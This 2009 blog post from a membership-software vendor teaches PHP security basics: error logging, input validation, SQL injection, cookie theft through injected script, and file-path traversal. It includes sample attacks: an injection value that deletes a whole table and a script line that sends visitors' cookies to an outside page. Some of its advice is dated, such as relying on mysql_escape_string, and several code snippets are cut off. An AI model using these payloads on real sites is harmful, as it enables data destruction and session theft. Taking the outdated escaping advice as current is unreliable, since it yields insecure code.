OpenCrypt - Membership Software
Register / My Account / Forgotten Password?
 Home  Features and Benefits  Online Demonstration  Purchase  Our Services  Help and Support  my.OpenCrypt 
 Welcome  New Visitor  Latest NewsRSS Feed Company Information  Press/Testimonials  Frequently Asked Questions  BlogNew Content
PHP Security Tips - Part 1
Monday 23rd November 2009

When writing PHP scripts, security should always be your primary concern. A poorly written PHP script can open up your web site and web server to attacks, either enabling attackers to retrieve confidential data, or even enabling an attacker to take control of your web site and server. If you are storing highly sensitive data such as customer credit cards then the necessity for PHP security becomes critical.
This article is the first part of several which we hope will help you understand how to make your PHP scripts more secure.
Error reporting

Every PHP developer makes mistakes, even the most experienced. PHP's error reporting functions can help you find your mistakes before they cause serious problems.
PHP's error reporting functions can be manipulated at any level, either in the PHP configuration or at any stage in a PHP script enabling you to control how errors are handled on a function by function basis if necessary.
To enable PHP's error reporting functions, we recommend using the following code to display errors as they occur when running your scripts:
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'On');

Using the above code, PHP will print any errors which occur. If preferred, you can use the following code to record errors to a log file, this method is more appropriate when you want to continue logging errors in a live script which is being used by your web site visitors:
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/path/to/your/error_log');

When using this code the 'error_log' value should be set to a full/absolute server path to the file you wish to use for your error log. This can be located anywhere on your server, though ideally this should not be in a location where it can be accessed with a web browser.
It is also possible to create a custom error reporting function which enables you to control how errors are displayed and handled, simply place the following code in your PHP script to enable a custom error reporting function:

Then create a PHP function called 'error_reporting' to handle the error report:
function error_reporting($error_number, $error_string,
$error_file, $error_line, $error_context) {
  print "PHP Error\n";
  print "Error Number: $error_number\n";
  print "Error String: $error_string\n";
  print "Error File: $error_file\n";
  print "Error Line: $error_line\n";
  print "Error Context: ".print_r($error_context)."\n";

The function inputs are used for the following purposes:
$error_number, contains the level of the error raised as an integer.
$error_string, contains the error message as a string.
$error_file, contains the name of the file the error was raised in.
$error_line, contains the line number in the file where the error was raised.
$error_context, contains an array of every variable that existed when the error was triggered.
Validating data

Ensuring the data your users enter is valid is very important, allowing users to freely enter any data can pose a serious security risk. You should always validate your input data, for example if a user is entering a phone number you should validate the input to ensure they may only enter numeric values.
Email validation is very important especially if your script sends emails as an invalid email address can cause unexpected results when attempting to send an email. You can find a great email validation function in our article, PHP: Basic functions for quickstart PHP framework.
This article also provides some great functions for validating URLs, UK postcodes and general input data which requires alphanumeric and similar validation.
When handling input data in your PHP scripts, it is very important you keep track of what data has been validated and what data has not been validated.
We recommend using arrays to handle all your input data. For example, use the following code to handle an input:
$input['email'] = $_GET['email'];

You should then validate the input and save it in a separate array, this is also useful if for some reason you need to retrieve the un-validated data.
$clean['email'] = validate_email($input['email']);

If you were taking a numeric input you should validate the input as follows:
$input['number'] = $_GET['number'];
if (is_numeric($input['number'])) {
  $clean['number'] = $input['number'];
} else {
  # Input contains non-numeric characters
  $clean['number'] = "";

SQL injection

If you are using SQL to store data, it is critical you validate any input data being used in your SQL queries. A misplaced quotation can cause an insert or update SQL query to completely fail, and if you use input data to control where clauses then poorly validated data can make your entire database open to attacks.
Any variable used in a SQL query should always be processed with a PHP function such as mysql_escape_string. Consider the following example:
$query = "INSERT INTO database (field) VALUES ('$value');";

If the $value variable contains a quotation symbol (') the entire mySQL query will fail. If the $value variable is used for names it is not un-common for a name to contain a quotation mark, for example 'Richard O'Brien' or 'David O'Hara'. If these values were used in the $value variable the SQL query would fail.
By using the mysql_escape_string function PHP will escape the value by placing a backslash before any quotation symbols. For example:
$value = "David O'Hara";
$value = mysql_escape_string($value);

$value would now equal "David O\'Hara". SQL will not save the backslash, it simply tells SQL the quotation in the value is part of the value and not the end of the value in the query. If you select the value from the database and re-insert it you should use mysql_escape_string again.
Consider this example delete query:
$query = "DELETE FROM database WHERE field = '$value';";

If value equals a valid field value in the database this will not cause any problems, but if the user has control over this input it could be abused, e.g.
$value = "value' OR field != 'value";

In this example, the SQL query would become the following:
$query = "DELETE FROM database WHERE
field = 'value' OR field != 'value';";

This would essentially delete every record in the 'database' table. By using the mysql_escape_string function the query would be:
$query = "DELETE FROM database WHERE
field = 'value\' OR field != \'value';";

This query wouldn't match any values and would therefore protect your database.
Cookie theft

Cookies are commonly used to store data on a user's system, cookies are harmless to the user's system and only allow you to store a small amount of data and are commonly used to store session data, for example to keep track of a user who has logged in so they are not required to login every time they browse to a new page on your web site. Cookies can only be accessed with code located on the site which created the cookie, so if a cookie is set on, only code hosted on is allowed to access the cookie, code on could not access a cookie set on
However, if you allow user data input to be displayed on your web site such as user comments this can be manipulated to access cookies. For example, imagine a user posted the following code in a comment on your web site:
document.location = '
hijack.php?cookie=' + document.cookie;

When a user accessed a page containing this code, any cookie data associated to the site would be passed to the URL as a query string. This would enable the site to retrieve cookie data from your site. If you use cookies on your site to store login session data it may enable the site owner to use that data to take control of another user's login session.
When users input data which is displayed on your site you should always validate it. You can either do this by converting the HTML to plain-text so the code is displayed rather than being executed, or alternatively you can simply remove any HTML from the comments.
By using the htmlentities PHP function you can convert all HTML to text, so for example <script> would become &lt;script&gt; and would therefore be displayed by the browser and not executed by the browser.
Alternatively you could remove any HTML tags, either by removing the brackets or by using a function to completely remove the HTML tags.
You can find a great function for removing HTML tags in our article, PHP: Basic functions for quickstart PHP framework. The strip_selected_tags function in this article will enable you to control what tags are removed, so you can allow formatting tags so users can add bold or italic text, but you can block script tags and other unwanted HTML tags.
Traversing the file system

Whenever you access files on your system you must specify a filename, if you use input data to control which file you are accessing this can create security risks.
Consider the following example:
$input_file = $_GET["filename"];
print file_get_contents($input_file);

When using the 'filename' query string to specify a filename you allow users to control which file they are accessing and displaying. If you have a file called 'test.html' and enter that in the query string this is safe, but there is nothing to prevent users from changing the query string to access other files.
By default this would only look for files in the same directory as the script, but there is nothing to prevent the user from traversing the file system to access other files.
If the user were to enter ../../../path/to/another/file.ext they can essentially navigate to access any file on your system. The same would apply even if you specify a full/absolute server path before the filename. For example:
print file_get_contents("/path/to/$input_file");

Even with a path specified it is still possible to traverse the file system to access other files, e.g. /path/to/../../ would enable you to access files in the directory which contains the /path/ directory.
Using PHP's basename function you can find the filename in an input path, so if you pass '/path/to/file.ext' into the basename function it will return 'file.ext' and not the path. The PHP dirname function does the opposite and will return the path without the filename.
You should always use the basename function when handling filenames, e.g.
$input_file = basename($_GET["filename"]);
print file_get_contents("/path/to/$input_file");

This method would still enable users to access other files in the same directory so it is important you apply other validation methods though how you do this depends entirely upon what you are trying to achieve.
If it is not possible to define a list of files that can be accessed you should consider validating the filenames using alphanumeric validation, or you may also like to consider validating the filename based on the file extension.
You can use PHP's pathinfo function to retrieve the same results as basename and dirname at the same time and the pathinfo function also returns file extension information. For example:
$file_info = pathinfo($input_file);

Pathinfo will then return an array so you can access the file information.
$file_info['dirname'] would return the same data as the dirname function.
$file_info['basename'] would return the same data as the basename function.
$file_info['extension'] would return the file extension.
In this example, you could check the extension value is an HTML file to ensure the PHP script can only access HTML files.
$file_info = pathinfo($_GET["filename"]);
if (strtolower($file_info['extension'])=="html") {
  print file_get_contents("/path/to/".$file_info['basename']);

This ensures the extension value is lowercase and then checks it is equal to 'html', if it is the script is allowed to access the file.
We hope this article has helped you understand the importance of PHP security and how to improve your code to be secure. We will continue with further examples in part 2 of this article.
If you would like to learn more about PHP security we would recommend the O'Reilly book, Essential PHP Security which is available from Amazon and many other book shops.
Share this article:
Delicious Stumble It!
Stumble It!
<- OpenCrypt 1.8 New Feature Highlights
ionix in 2010 ->
Subscribe to RSS Feed
OpenCrypt Version 1.9
New Product: myRepono Website Backup Service
Website Pre-Launch Checklist
ionix in 2010
PHP Security Tips - Part 1
OpenCrypt 1.8 New Feature Highlights
Video Conversion API
We're on Twitter!
IP Location API
Integrating OpenCrypt's PHP Login Interface
Developing Mobile Web Sites
Service Recovery
Building relationships with your customers
Doing the unexpected
PHP/JavaScript World Map with Continent and Ocean Selection
We've Moved!
Customer Showcase:
Optimising your secure content for Google
Membership business models
AJAX Calendar with PHP and mySQL
PHP Function for Reciprocal Linkback Checking
AJAX Tree Menu with PHP - Revisited
What is membership software?
Login form designs and inspiration
PHP subscriber counter with Addicted to Feedburner class and Feedburner Awareness API
AJAX Tree Menu with PHP
AJAX data listings engine with PHP and mySQL (BETA)
Join the ionix Team!
Press Release: OpenCrypt 2.0 in Development!
PHP: Basic functions for quickstart PHP framework
Welcome to the OpenCrypt Blog!
Visitor Comments
Average Rating: 0.00 out of 10 (0 Votes)
Space Holder
Submit Comment
Space Holder
Article Rating:
Space Holder
Your Name:
Space Holder
Your Comment/Response:
Space Holder
Space Holder
Space Holder

Follow us on Twitter

Copyright © 1999 - 2011 ionix Limited. Affiliates, Contact Us

Powered by OpenCrypt Membership Software, Backups by myRepono Website Backup